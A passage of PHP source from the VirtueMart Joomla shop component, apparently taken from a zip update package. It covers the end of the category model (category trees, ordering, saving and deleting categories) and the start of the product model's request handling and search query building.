} if($errs = $this->getErrors()){ $app = JFactory::getApplication(); foreach($errs as $err){ $app->enqueueMessage($err); } } } return $this->_data; } /** * Get the list of child categories for a given category, is cached * * @param int $virtuemart_category_id Category id to check for child categories * @return object List of objects containing the child categories * */ public function getChildCategoryList($vendorId, $virtuemart_category_id,$selectedOrdering = null, $orderDir = null, $cache = true) { $useCache = true; if(empty($this) or get_class($this)!='VirtueMartModelCategory'){ $useCache = false; } if($selectedOrdering===null){ if($useCache){ $selectedOrdering = $this->_selectedOrdering; } else { $selectedOrdering = VmConfig::get('browse_cat_orderby_field','category_name'); } } if(!in_array($selectedOrdering, self::$_validOrderingFields)){ $selectedOrdering = 'category_name'; } if($orderDir===null){ if($useCache){ $orderDir = $this->_selectedOrderingDir; } else { $orderDir = VmConfig::get('cat_brws_orderby_dir', 'ASC'); } } $validOrderingDir = array('ASC','DESC'); if(!in_array(strtoupper($orderDir), $validOrderingDir)){ $orderDir = 'ASC'; } static $_childCategoryList = array (); $key = (int)$vendorId.'_'.(int)$virtuemart_category_id.$selectedOrdering.$orderDir.VMLANG ; //We have here our internal key to preven calling of the cache if (! array_key_exists ($key,$_childCategoryList)){ if($useCache){ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->setCaching(true); $_childCategoryList[$key] = $cache->call( array( 'VirtueMartModelCategory', 'getChildCategoryListObject' ),$vendorId, $virtuemart_category_id, $selectedOrdering, $orderDir); } else { $_childCategoryList[$key] = VirtueMartModelCategory::getChildCategoryListObject($vendorId, $virtuemart_category_id, $selectedOrdering, $orderDir); } } return $_childCategoryList[$key]; } /** * Be aware we need the lang to assure that the cache works properly. The cache needs all paraemeters * in the function call to use the right hash * * @author Max Milbers * @param $vendorId * @param $virtuemart_category_id * @param null $selectedOrdering * @param null $orderDir * @param $lang * @return mixed */ static public function getChildCategoryListObject($vendorId, $virtuemart_category_id,$selectedOrdering = null, $orderDir = null,$lang = VMLANG) { $query = 'SELECT L.* FROM `#__virtuemart_categories_'.$lang.'` as L JOIN `#__virtuemart_categories` as c using (`virtuemart_category_id`)'; $query .= ' LEFT JOIN `#__virtuemart_category_categories` as cx on c.`virtuemart_category_id` = cx.`category_child_id` '; $query .= 'WHERE cx.`category_parent_id` = ' . (int)$virtuemart_category_id . ' '; $query .= 'AND c.`virtuemart_vendor_id` = ' . (int)$vendorId . ' '; $query .= 'AND c.`published` = 1 '; $query .= ' ORDER BY '.$selectedOrdering.' '.$orderDir; $db = JFactory::getDBO(); $db->setQuery( $query); $childList = $db->loadObjectList(); if(!empty($childList)){ if(!class_exists('TableCategory_medias'))require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'category_medias.php'); foreach($childList as $child){ $xrefTable = new TableCategory_medias($db); $child->virtuemart_media_id = $xrefTable->load($child->virtuemart_category_id); } } return $childList; } // public sortArraysPerXref(){ // $q = 'SELECT * FROM ' // } public function getCategoryTree($parentId=0, $level = 0, $onlyPublished = true,$keyword = ''){ $sortedCats = array(); $limits = $this->setPaginationLimits(); $limitStart = $limits[0]; $limit = $limits[1]; // vmRam('What take the cats?'); $this->_noLimit = true; if($keyword!=''){ $sortedCats = self::getCategories($onlyPublished, false, false, $keyword); } else { $this->rekurseCats($parentId,$level,$onlyPublished,$keyword,$sortedCats); } $this->_noLimit = false; $this->_total = count($sortedCats); $this->_limitStart = $limitStart; $this->_limit = $limit; $this->getPagination(); if(empty($limit)){ return $sortedCats; } else { $sortedCats = array_slice($sortedCats, $limitStart,$limit); return $sortedCats; } } public function rekurseCats($virtuemart_category_id,$level,$onlyPublished,$keyword,&$sortedCats){ $level++; if($this->hasChildren($virtuemart_category_id)){ $childCats = self::getCategories($onlyPublished, $virtuemart_category_id, false, $keyword); if(!empty($childCats)){ foreach ($childCats as $key => $category) { $category->level = $level; $sortedCats[] = $category; $this->rekurseCats($category->virtuemart_category_id,$level,$onlyPublished,$keyword,$sortedCats); } } } } public function getCategories($onlyPublished = true, $parentId = false, $childId = false, $keyword = "") { $vendorId = 1; $select = ' c.`virtuemart_category_id`, l.`category_description`, l.`category_name`, c.`ordering`, c.`published`, cx.`category_child_id`, cx.`category_parent_id`, c.`shared` '; $joinedTables = ' FROM `#__virtuemart_categories_'.VMLANG.'` l JOIN `#__virtuemart_categories` AS c using (`virtuemart_category_id`) LEFT JOIN `#__virtuemart_category_categories` AS cx ON l.`virtuemart_category_id` = cx.`category_child_id` '; $where = array(); if( $onlyPublished ) { $where[] = " c.`published` = 1 "; } if( $parentId !== false ){ $where[] = ' cx.`category_parent_id` = '. (int)$parentId; } if( $childId !== false ){ $where[] = ' cx.`category_child_id` = '. (int)$childId; } if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if( !Permissions::getInstance()->check('admin') ){ $where[] = ' (c.`virtuemart_vendor_id` = "'. (int)$vendorId. '" OR c.`shared` = "1") '; } if( !empty( $keyword ) ) { $keyword = '"%' . $this->_db->getEscaped( $keyword, true ) . '%"' ; //$keyword = $this->_db->Quote($keyword, false); $where[] = ' ( l.`category_name` LIKE '.$keyword.' OR l.`category_description` LIKE '.$keyword.') '; } $whereString = ''; if (count($where) > 0){ $whereString = ' WHERE '.implode(' AND ', $where) ; } else { $whereString = 'WHERE 1 '; } $ordering = $this->_getOrdering(); $this->_category_tree = $this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,'',$ordering ); return $this->_category_tree; } /** * count the products in a category * * @author Max Milbers * @return array list of categories product is in */ public function countProducts($cat_id=0) { if(!empty($this->_db))$this->_db = JFactory::getDBO(); $vendorId = 1; if ($cat_id > 0) { $q = 'SELECT count(#__virtuemart_products.virtuemart_product_id) AS total FROM `#__virtuemart_products`, `#__virtuemart_product_categories` WHERE `#__virtuemart_products`.`virtuemart_vendor_id` = "'.(int)$vendorId.'" AND `#__virtuemart_product_categories`.`virtuemart_category_id` = '.(int)$cat_id.' AND `#__virtuemart_products`.`virtuemart_product_id` = `#__virtuemart_product_categories`.`virtuemart_product_id` AND `#__virtuemart_products`.`published` = "1" '; $this->_db->setQuery($q); $count = $this->_db->loadResult(); } else $count=0 ; return $count; } /** * Order any category * * @author jseros * @param int $id category id * @param int $movement movement number * @return bool */ public function orderCategory($id, $movement){ //retrieving the category table object //and loading data $row = $this->getTable('categories'); $row->load($id); $query = 'SELECT `category_parent_id` FROM `#__virtuemart_category_categories` WHERE `category_child_id` = '. (int)$row->virtuemart_category_id ; $this->_db->setQuery($query); $parent = $this->_db->loadObject(); if (!$row->move( $movement, $parent->category_parent_id)) { vmError($row->getError()); return false; } return true; } /** * Order category group * * @author jseros * @param array $cats categories to order * @return bool */ public function setOrder($cats, $order){ $total = count( $cats ); $groupings = array(); $row = $this->getTable('categories'); $query = 'SELECT `category_parent_id` FROM `#__virtuemart_categories` c LEFT JOIN `#__virtuemart_category_categories` cx ON c.`virtuemart_category_id` = cx.`category_child_id` WHERE c.`virtuemart_category_id` = %s'; // update ordering values for( $i=0; $i < $total; $i++ ) { $row->load( $cats[$i] ); $this->_db->setQuery( sprintf($query, (int)$cats[$i] ), 0 ,1 ); $parent = $this->_db->loadObject(); $groupings[] = $parent->category_parent_id; if ($row->ordering != $order[$i]) { $row->ordering = $order[$i]; if (!$row->toggle('ordering',$row->ordering)) { vmError($row->getError()); return false; } } } // execute reorder for each parent group $groupings = array_unique( $groupings ); foreach ($groupings as $group){ $row->reorder($group); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return true; } /** * Retrieve the detail record for the parent category of $categoryd * * @author jseros * * @param int $categoryId Child category id * @return JTable parent category data */ public function getParentCategory( $categoryId = 0 ){ $data = $this->getRelationInfo( $categoryId ); $parentId = isset($data->category_parent_id) ? $data->category_parent_id : 0; $parent = $this->getTable('categories'); $parent->load((int) $parentId); return $parent; } /** * Retrieve category child-parent relation record * * @author jseros * * @param int $virtuemart_category_id * @return object Record of parent relation */ public function getRelationInfo( $virtuemart_category_id = 0 ){ $virtuemart_category_id = (int) $virtuemart_category_id; $query = 'SELECT `category_parent_id`, `ordering` FROM `#__virtuemart_category_categories` WHERE `category_child_id` = '. $this->_db->Quote($virtuemart_category_id); $this->_db->setQuery($query); return $this->_db->loadObject(); } /** * Bind the post data to the category table and save it * * @author jseros, RolandD, Max Milbers * @return int category id stored */ public function store(&$data) { JRequest::checkToken() or jexit( 'Invalid Token, in store category'); $table = $this->getTable('categories'); /* vmdebug('categorytemplate to null',VmConfig::get('categorytemplate'),$data['category_template']); * VmConfig::get('categorytemplate') = default * $data['category_template'] = 0 */ if ( !array_key_exists ('category_template' , $data ) ){ $data['category_template'] = $data['category_layout'] = $data['category_product_layout'] = 0 ; } if(VmConfig::get('categorytemplate') == $data['category_template'] ){ $data['category_template'] = 0; } if(VmConfig::get('categorylayout') == $data['category_layout']){ $data['category_layout'] = 0; } if(VmConfig::get('productlayout') == $data['category_product_layout']){ $data['category_product_layout'] = 0; } // vmdebug('category store ',$data); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } if(!empty($data['virtuemart_category_id'])){ $xdata['category_child_id'] = (int)$data['virtuemart_category_id']; $xdata['category_parent_id'] = empty($data['category_parent_id'])? 0:(int)$data['category_parent_id']; $xdata['ordering'] = empty($data['ordering'])? 0: (int)$data['ordering']; $table = $this->getTable('category_categories'); $table->bindChecknStore($xdata); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } } // Process the images $mediaModel = VmModel::getModel('Media'); $file_id = $mediaModel->storeMedia($data,'category'); $errors = $mediaModel->getErrors(); foreach($errors as $error){ vmError($error); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return $data['virtuemart_category_id'] ; } /** * Delete all categories selected * * @author jseros * @param array $cids categories to remove * @return boolean if the item remove was successful */ public function remove($cids) { JRequest::checkToken() or jexit( 'Invalid Token, in remove category'); $table = $this->getTable('categories'); foreach($cids as &$cid) { if (!$table->delete($cid)) { vmError($table->getError()); return false; } $db = JFactory::getDbo(); $q = 'SELECT `virtuemart_customfield_id` FROM `#__virtuemart_product_customfields` as pc '; $q .= 'LEFT JOIN `#__virtuemart_customs`as c using (`virtuemart_custom_id`) WHERE pc.`custom_value` = "' . $cid . '" AND `field_type`= "Z"'; $db->setQuery($q); $list = $db->loadResultArray(); if ($list) { $listInString = implode(',',$list); //Delete media xref $query = 'DELETE FROM `#__virtuemart_product_customfields` WHERE `virtuemart_customfield_id` IN ('. $listInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } } } $cidInString = implode(',',$cids); //Delete media xref $query = 'DELETE FROM `#__virtuemart_category_medias` WHERE `virtuemart_category_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //deleting product relations $query = 'DELETE FROM `#__virtuemart_product_categories` WHERE `virtuemart_category_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //deleting category relations $query = 'DELETE FROM `#__virtuemart_category_categories` WHERE `category_child_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } //updating parent relations $query = 'UPDATE `#__virtuemart_category_categories` SET `category_parent_id` = 0 WHERE `category_parent_id` IN ('. $cidInString .') '; $this->_db->setQuery($query); if(!$this->_db->query()){ vmError( $this->_db->getErrorMsg() ); } $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); return true; } /** * Checks for children of the category $virtuemart_category_id * * @author RolandD * @param int $virtuemart_category_id the category ID to check * @return boolean true when the category has childs, false when not */ public function hasChildren($virtuemart_category_id) { // vmSetStartTime('hasChildren'); $db = JFactory::getDBO(); $q = "SELECT `category_child_id` FROM `#__virtuemart_category_categories` WHERE `category_parent_id` = ".(int)$virtuemart_category_id; $db->setQuery($q); $db->query(); if ($db->getAffectedRows() > 0){ // vmTime('hasChildren YES','hasChildren'); return true; } else { // vmTime('hasChildren NO','hasChildren'); return false; } } /** * Creates a bulleted of the childen of this category if they exist * * @author RolandD * @todo Add vendor ID * @param int $virtuemart_category_id the category ID to create the list of * @return array containing the child categories */ public function getParentsList($virtuemart_category_id) { $db = JFactory::getDBO(); $menu = JFactory::getApplication()->getMenu(); $parents = array(); if (empty($query['Itemid'])) { $menuItem = $menu->getActive(); } else { $menuItem = $menu->getItem($query['Itemid']); } $menuCatid = (empty($menuItem->query['virtuemart_category_id'])) ? 0 : $menuItem->query['virtuemart_category_id']; if ($menuCatid == $virtuemart_category_id) return ; $parents_id = array_reverse($this->getCategoryRecurse($virtuemart_category_id,$menuCatid)); foreach ($parents_id as $id ) { $q = 'SELECT `category_name`,`virtuemart_category_id` FROM `#__virtuemart_categories_'.VMLANG.'` WHERE `virtuemart_category_id`='.(int)$id; $db->setQuery($q); $parents[] = $db->loadObject(); } return $parents; } var $categoryRecursed = 0; function getCategoryRecurse($virtuemart_category_id,$catMenuId,$first=true ) { static $idsArr = array(); if($first) { $idsArr = array(); $this->categoryRecursed = 0; } else if($this->categoryRecursed>10){ vmWarn('Stopped getCategoryRecurse after 10 rekursions'); return $idsArr; } $db = JFactory::getDBO(); $q = "SELECT `category_child_id` AS `child`, `category_parent_id` AS `parent` FROM `#__virtuemart_category_categories` AS `xref` WHERE `xref`.`category_child_id`= ".(int)$virtuemart_category_id; $db->setQuery($q); if (!$ids = $db->loadObject()) { return $idsArr; } if ($ids->child) $idsArr[] = $ids->child; if($ids->child != 0 and $catMenuId != $virtuemart_category_id and $catMenuId != $ids->parent) { $this->categoryRecursed++; $this->getCategoryRecurse($ids->parent,$catMenuId,false); } return $idsArr; } /** * Stuff of categorydetails */ /* array container for category tree ID*/ var $container = array(); /** * Sorts an array with categories so the order of the categories is the same as in a tree. * * @author jseros * * @param array $this->_category_tree * @return associative array ordering categories * @deprecated */ public function sortCategoryTree($categoryArr){ /** FIRST STEP * Order the Category Array and build a Tree of it **/ $idList = array(); $rowList = array(); $depthList = array(); $children = array(); $parentIds = array(); $parentIdsHash = array(); $parentId = 0; for( $i = 0, $nrows = count($categoryArr); $i < $nrows; $i++ ) { $parentIds[$i] = $categoryArr[$i]->category_parent_id; if($categoryArr[$i]->category_parent_id == 0){ array_push($idList, $categoryArr[$i]->category_child_id); array_push($rowList, $i); array_push($depthList, 0); } $parentId = $parentIds[$i]; if( isset($parentIdsHash[$parentId] )){ $parentIdsHash[$parentId][$categoryArr[$i]->category_child_id] = $i; } else{ $parentIdsHash[$parentId] = array($categoryArr[$i]->category_child_id => $i); } } $loopCount = 0; $watch = array(); // Hash to store children while( count($idList) < $nrows ){ if( $loopCount > $nrows ) break; $idTemp = array(); $rowTemp = array(); $depthTemp = array(); for($i = 0, $cIdlist = count($idList); $i < $cIdlist ; $i++) { $id = $idList[$i]; $row = $rowList[$i]; $depth = $depthList[$i]; array_push($idTemp, $id); array_push($rowTemp, $row); array_push($depthTemp, $depth); $children = @$parentIdsHash[$id]; if( !empty($children) ){ foreach($children as $key => $value) { if( !isset($watch[$id][$key]) ){ $watch[$id][$key] = 1; array_push($idTemp, $key); array_push($rowTemp, $value); array_push($depthTemp, $depth + 1); } } } } $idList = $idTemp; $rowList = $rowTemp; $depthList = $depthTemp; $loopCount++; } return array('id_list' => $idList, 'row_list' => $rowList, 'depth_list' => $depthList, 'categories' => $categoryArr ); } /* * Returns an array of the categories recursively for a given category * @author Kohl Patrick * @param int $id * @param int $maxLevel * @Object $this->container * @deprecated */ function treeCat($id=0,$maxLevel =1000) { static $level = 0; static $num = -1 ; $db = JFactory::getDBO(); $q = 'SELECT `category_child_id`,`category_name` FROM `#__virtuemart_categories_'.VMLANG.'` LEFT JOIN `#__virtuemart_category_categories` on `#__virtuemart_categories`.`virtuemart_category_id`=`#__virtuemart_category_categories`.`category_child_id` WHERE `category_parent_id`='.(int)$id; $db->setQuery($q); $num ++; // if it is a leaf (no data underneath it) then return $childs = $db->loadObjectList(); if ($level==$maxLevel) return; if ($childs) { $level++; foreach ($childs as $child) { $this->container[$num]->id = $child->category_child_id; $this->container[$num]->name = $child->category_name; $this->container[$num]->level = $level; self::treeCat($child->category_child_id,$maxLevel ); } $level--; } } /** * @author Kohl Patrick * @param $maxlevel the number of level * @param $id the root category id * @Object $this->container * @ return categories id, name and level in container * if you set Maxlevel to 0, then you see nothing * max level =1 for simple category,2 for category and child cat .... * don't set it for all (1000 levels) * @deprecated */ function GetTreeCat($id=0,$maxLevel = 1000) { self::treeCat($id ,$maxLevel) ; return $this->container ; } /** * This function is repsonsible for returning an array containing category information * @param boolean Show only published products? * @param string the keyword to filter categories * @deprecated */ function getCategoryTreeArray( $only_published=true, $keyword = "" ) { $db = JFactory::getDBO(); if( empty( $this->_category_tree)) { // Get only published categories $query = "SELECT `virtuemart_category_id`, `category_description`, `category_name`,`category_child_id`, `category_parent_id`,`#__virtuemart_categories`.`ordering`, `published` as category_publish FROM `#__virtuemart_category_categories`, `#__virtuemart_categories_".VMLANG."` as L JOIN `#__virtuemart_categories` using (`virtuemart_category_id`) WHERE "; if( $only_published ) { $query .= "`#__virtuemart_categories`.`published`=1 AND "; } $query .= " L.`virtuemart_category_id`=`#__virtuemart_category_categories`.`category_child_id` "; if( !empty( $keyword ) ) { $keyword = '"%' . $this->_db->getEscaped( $keyword, true ) . '%"' ; //$keyword = $this->_db->Quote($keyword, false); $query .= 'AND ( `category_name` LIKE '.$keyword.' OR `category_description` LIKE '.$keyword.') '; } /* if( !empty( $keyword )) { $query .= "AND ( `category_name` LIKE '%$keyword%' "; $query .= "OR `category_description` LIKE '%$keyword%' "; $query .= ") "; }*/ $query .= " ORDER BY `#__virtuemart_categories`.`ordering` ASC, L.`category_name` ASC"; // initialise the query in the $database connector $db->setQuery($query); // Transfer the Result into a searchable Array $dbCategories = $db->loadAssocList(); //if (!$ids = $db->loadObject()) foreach( $dbCategories as $Cat ) { $this->_category_tree[$Cat['category_child_id']] = $Cat; } } } /** * Sorts an array with categories so the order of the categories is the same as in a tree, just as a flat list. * The Tree Depth is * * @deprecated * @param array $categoryArr */ function sortCategoryTreeArray() { // Copy the Array into an Array with auto_incrementing Indexes $key = array_keys($this->_category_tree); // Array of category table primary keys $nrows = $size = sizeOf($key); // Category count /** FIRST STEP * Order the Category Array and build a Tree of it **/ $id_list = array(); $row_list = array(); $depth_list = array(); $children = array(); $parent_ids = array(); $parent_ids_hash = array(); //Build an array of category references $category_tmp = Array(); for ($i=0; $i<$size; $i++) { $category_tmp[$i] = $this->_category_tree[$key[$i]]; $parent_ids[$i] = $category_tmp[$i]['category_parent_id']; if($category_tmp[$i]["category_parent_id"] == 0) { array_push($id_list,$category_tmp[$i]["category_child_id"]); array_push($row_list,$i); array_push($depth_list,0); } $parent_id = $parent_ids[$i]; if (isset($parent_ids_hash[$parent_id])) { $parent_ids_hash[$parent_id][$i] = $parent_id; } else { $parent_ids_hash[$parent_id] = array($i => $parent_id); } } $loop_count = 0; $watch = array(); // Hash to store children while(count($id_list) < $nrows) { if( $loop_count > $nrows ) break; $id_temp = array(); $row_temp = array(); $depth_temp = array(); for($i = 0 ; $i < count($id_list) ; $i++) { $id = $id_list[$i]; $row = $row_list[$i]; $depth = $depth_list[$i]; array_push($id_temp,$id); array_push($row_temp,$row); array_push($depth_temp,$depth); $children = @$parent_ids_hash[$id]; if (!empty($children)) { foreach($children as $key => $value) { if( !isset($watch[$id][$category_tmp[$key]["category_child_id"]])) { $watch[$id][$category_tmp[$key]["category_child_id"]] = 1; array_push($id_temp,$category_tmp[$key]["category_child_id"]); array_push($row_temp,$key); array_push($depth_temp,$depth + 1); } } } } $id_list = $id_temp; $row_list = $row_temp; $depth_list = $depth_temp; $loop_count++; } return array('id_list' => $id_list, 'row_list' => $row_list, 'depth_list' => $depth_list, 'category_tmp' => $category_tmp); } }PKsl>\GnnPcom_virtuemart_update/administrator/components/com_virtuemart/models/product.phpnuW+AsetMainTable ('products'); $this->starttime = microtime (TRUE); $this->maxScriptTime = VmConfig::getExecutionTime() * 0.95 - 1; $this->memory_limit = VmConfig::getMemoryLimit()-4; // $this->addvalidOrderingFieldName(array('m.mf_name','pp.product_price')); $app = JFactory::getApplication (); if ($app->isSite ()) { $this->_validOrderingFieldName = array(); $browseOrderByFields = VmConfig::get ('browse_orderby_fields',array('product_sku','category_name','mf_name','product_name')); } else { if (!class_exists ('shopFunctions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); } $browseOrderByFields = ShopFunctions::getValidProductFilterArray (); $this->addvalidOrderingFieldName (array('product_price','product_sales')); //$this->addvalidOrderingFieldName (array('product_price')); // vmdebug('$browseOrderByFields',$browseOrderByFields); } $this->addvalidOrderingFieldName ((array)$browseOrderByFields); $this->removevalidOrderingFieldName ('virtuemart_product_id'); //$this->removevalidOrderingFieldName ('product_sales'); //unset($this->_validOrderingFieldName[0]);//virtuemart_product_id array_unshift ($this->_validOrderingFieldName, 'p.virtuemart_product_id'); $this->_selectedOrdering = VmConfig::get ('browse_orderby_field', '`p`.virtuemart_product_id'); $this->setToggleName('product_special'); $this->initialiseRequests (); //This is just done now for the moment for developing, the idea is of course todo this only when needed. $this->updateRequests (); } var $keyword = ""; var $product_parent_id = FALSE; var $virtuemart_manufacturer_id = FALSE; var $virtuemart_category_id = 0; var $search_type = ''; var $searchcustoms = FALSE; var $searchplugin = 0; var $filter_order = 'p.virtuemart_product_id'; var $filter_order_Dir = 'DESC'; var $valid_BE_search_fields = array('product_name', 'product_sku','product_gtin','product_mpn','`l`.`slug`', 'product_s_desc', '`l`.`metadesc`'); private $_autoOrder = 0; private $orderByString = 0; private $listing = FALSE; /** * This function resets the variables holding request depended data to the initial values * * @author Max Milbers */ function initialiseRequests () { $this->keyword = ""; $this->valid_search_fields = $this->valid_BE_search_fields; $this->product_parent_id = FALSE; $this->virtuemart_manufacturer_id = FALSE; $this->search_type = ''; $this->searchcustoms = FALSE; $this->searchplugin = 0; $this->filter_order = VmConfig::get ('browse_orderby_field'); ; $this->filter_order_Dir = VmConfig::get('prd_brws_orderby_dir', 'ASC'); $this->_uncategorizedChildren = null; } /** * This functions updates the variables of the model which are used in the sortSearchListQuery * with the variables from the Request * * @author Max Milbers */ function updateRequests () { $this->keyword = vRequest::uword ('keyword', "", ' ,-,+,.,_,#,/'); if ($this->keyword == "") { $this->keyword = vRequest::uword ('filter_product', "", ' ,-,+,.,_,#,/'); JRequest::setVar('filter_product',$this->keyword); JRequest::setVar('keyword',$this->keyword); } else { JRequest::setVar('keyword',$this->keyword); } $app = JFactory::getApplication (); $option = 'com_virtuemart'; $view = 'product'; if ($app->isSite ()) { $filter_order = JRequest::getString ('orderby', "0"); if($filter_order == "0"){ $filter_order_raw = $this->getLastProductOrdering($this->_selectedOrdering); $filter_order = $this->checkFilterOrder ($filter_order_raw); } else { vmdebug('my $filter_order ',$filter_order); $filter_order = $this->checkFilterOrder ($filter_order); vmdebug('my $filter_order after check',$filter_order); $this->setLastProductOrdering($filter_order); } $filter_order_Dir = strtoupper (JRequest::getWord ('dir', VmConfig::get('prd_brws_orderby_dir', 'ASC'))); $valid_search_fields = VmConfig::get ('browse_search_fields'); //vmdebug('$valid_search_fields ',$valid_search_fields); //unset($valid_search_fields[] } else { $filter_order = strtolower ($app->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter_order', 'filter_order', $this->_selectedOrdering, 'cmd')); $filter_order = $this->checkFilterOrder ($filter_order); $filter_order_Dir = strtoupper ($app->getUserStateFromRequest ($option . '.' . $view . '.filter_order_Dir', 'filter_order_Dir', '', 'word')); $valid_search_fields = $this->valid_BE_search_fields; } $filter_order_Dir = $this->checkFilterDir ($filter_order_Dir); $this->filter_order = $filter_order; $this->filter_order_Dir = $filter_order_Dir; $this->valid_search_fields = $valid_search_fields; $this->product_parent_id = JRequest::getInt ('product_parent_id', FALSE); $this->virtuemart_manufacturer_id = JRequest::getInt ('virtuemart_manufacturer_id', FALSE); $this->search_type = JRequest::getVar ('search_type', ''); $this->searchcustoms = JRequest::getVar ('customfields', array(), 'default', 'array'); $this->searchplugin = JRequest::getInt ('custom_parent_id', 0); } /** * @author Max Milbers */ public function getLastProductOrdering($default = 0){ $session = JFactory::getSession(); return $session->get('vmlastproductordering', $default, 'vm'); } /** * @author Max Milbers */ public function setLastProductOrdering($ordering){ $session = JFactory::getSession(); return $session->set('vmlastproductordering', (string) $ordering, 'vm'); } /** * Sets the keyword variable for the search * * @param string $keyword */ function setKeyWord ($keyword) { $this->keyword = $keyword; } /** * New function for sorting, searching, filtering and pagination for product ids. * * @author Max Milbers */ function sortSearchListQuery ($onlyPublished = TRUE, $virtuemart_category_id = FALSE, $group = FALSE, $nbrReturnProducts = FALSE) { $app = JFactory::getApplication (); //User Q.Stanley said that removing group by is increasing the speed of product listing in a bigger shop (10k products) by factor 60 //So what was the reason for that we have it? TODO experiemental, find conditions for the need of group by $groupBy = ' group by p.`virtuemart_product_id` '; //administrative variables to organize the joining of tables $joinCategory = FALSE; $joinCatLang = false; $joinMf = FALSE; $joinMfLang = false; $joinPrice = FALSE; $joinCustom = FALSE; $joinShopper = FALSE; $joinChildren = FALSE; $joinLang = false; $orderBy = ' '; $where = array(); $useCore = TRUE; if ($this->searchplugin !== 0) { //reset generic filters ! Why? the plugin can do it, if it wishes it. // if ($this->keyword ==='') $where=array(); JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $PluginJoinTables = array(); $ret = $dispatcher->trigger ('plgVmAddToSearch', array(&$where, &$PluginJoinTables, $this->searchplugin)); foreach ($ret as $r) { if (!$r) { $useCore = FALSE; } } } if ($useCore) { $isSite = $app->isSite (); // if ( $this->keyword !== "0" and $group ===false) { if (!empty($this->keyword) and $this->keyword !== '' and $group === FALSE) { $keyword = '"%' .str_replace(array(' ','-'),'%',$this->_db->getEscaped( $this->keyword, true )). '%"'; //$keyword = '"%' . $this->_db->getEscaped ($this->keyword, TRUE) . '%"'; foreach ($this->valid_search_fields as $searchField) { if ($searchField == 'category_name' || $searchField == 'category_description') { //$joinCategory = TRUE; $joinCatLang = true; } else if ($searchField == 'mf_name') { //$joinMf = TRUE; $joinMfLang = true; } else if ($searchField == 'product_price') { $joinPrice = TRUE; } else if (!$joinLang and ($searchField == 'product_name' or $searchField == 'product_s_desc' or $searchField == 'product_desc' or $searchField == '`p`.product_sku' or $searchField == '`l`.slug') ){ $joinLang = TRUE; } if (strpos ($searchField, '`') !== FALSE){ $keywords_plural = preg_replace('/\s+/', '%" AND '.$searchField.' LIKE "%', $keyword); $filter_search[] = $searchField . ' LIKE ' . $keywords_plural; } else { $keywords_plural = preg_replace('/\s+/', '%" AND `'.$searchField.'` LIKE "%', $keyword); $filter_search[] = '`'.$searchField.'` LIKE '.$keywords_plural; //$filter_search[] = '`' . $searchField . '` LIKE ' . $keyword; } } if (!empty($filter_search)) { $where[] = '(' . implode (' OR ', $filter_search) . ')'; } else { $where[] = '`product_name` LIKE ' . $keyword; $joinLang = TRUE; //If they have no check boxes selected it will default to product name at least. } } // vmdebug('my $this->searchcustoms ',$this->searchcustoms); if (!empty($this->searchcustoms)) { $joinCustom = TRUE; foreach ($this->searchcustoms as $key => $searchcustom) { $custom_search[] = '(pf.`virtuemart_custom_id`="' . (int)$key . '" and pf.`custom_value` like "%' . $this->_db->getEscaped ($searchcustom, TRUE) . '%")'; } $where[] = " ( " . implode (' OR ', $custom_search) . " ) "; } if ($onlyPublished) { $where[] = ' p.`published`="1" '; } if($isSite and !VmConfig::get('use_as_catalog',0)) { if (VmConfig::get('stockhandle','none')=='disableit_children') { $where[] = ' ((p.`product_in_stock` - p.`product_ordered`) >"0" OR (children.`product_in_stock` - children.`product_ordered`) > "0") '; $joinChildren = TRUE; } else if (VmConfig::get('stockhandle','none')=='disableit') { $where[] = ' p.`product_in_stock` - p.`product_ordered` >"0" '; } } if ($virtuemart_category_id > 0) { $joinCategory = TRUE; $where[] = ' `pc`.`virtuemart_category_id` = ' . $virtuemart_category_id; } else if ($isSite and !VmConfig::get('show_uncat_child_products',TRUE)) { $joinCategory = TRUE; $where[] = ' `pc`.`virtuemart_category_id` > 0 '; } if ($this->product_parent_id) { $where[] = ' p.`product_parent_id` = ' . $this->product_parent_id; } if ($isSite) { $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getUser (); $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; if (is_array ($virtuemart_shoppergroup_ids)) { $sgrgroups = array(); foreach ($virtuemart_shoppergroup_ids as $key => $virtuemart_shoppergroup_id) { $sgrgroups[] = ' `ps`.`virtuemart_shoppergroup_id`= "' . (int)$virtuemart_shoppergroup_id . '" '; } $sgrgroups[] = ' `ps`.`virtuemart_shoppergroup_id` IS NULL '; $where[] = " ( " . implode (' OR ', $sgrgroups) . " ) "; $joinShopper = TRUE; } } if ($this->virtuemart_manufacturer_id) { $joinMf = TRUE; $where[] = ' `#__virtuemart_product_manufacturers`.`virtuemart_manufacturer_id` = ' . $this->virtuemart_manufacturer_id; } // Time filter if ($this->search_type != '') { $search_order = $this->_db->getEscaped (JRequest::getWord ('search_order') == 'bf' ? '<' : '>'); switch ($this->search_type) { case 'parent': $where[] = 'p.`product_parent_id` = "0"'; break; case 'product': $where[] = 'p.`modified_on` ' . $search_order . ' "' . $this->_db->getEscaped (JRequest::getVar ('search_date')) . '"'; break; case 'price': $joinPrice = TRUE; $where[] = 'pp.`modified_on` ' . $search_order . ' "' . $this->_db->getEscaped (JRequest::getVar ('search_date')) . '"'; break; case 'withoutprice': $joinPrice = TRUE; $where[] = 'pp.`product_price` IS NULL'; break; case 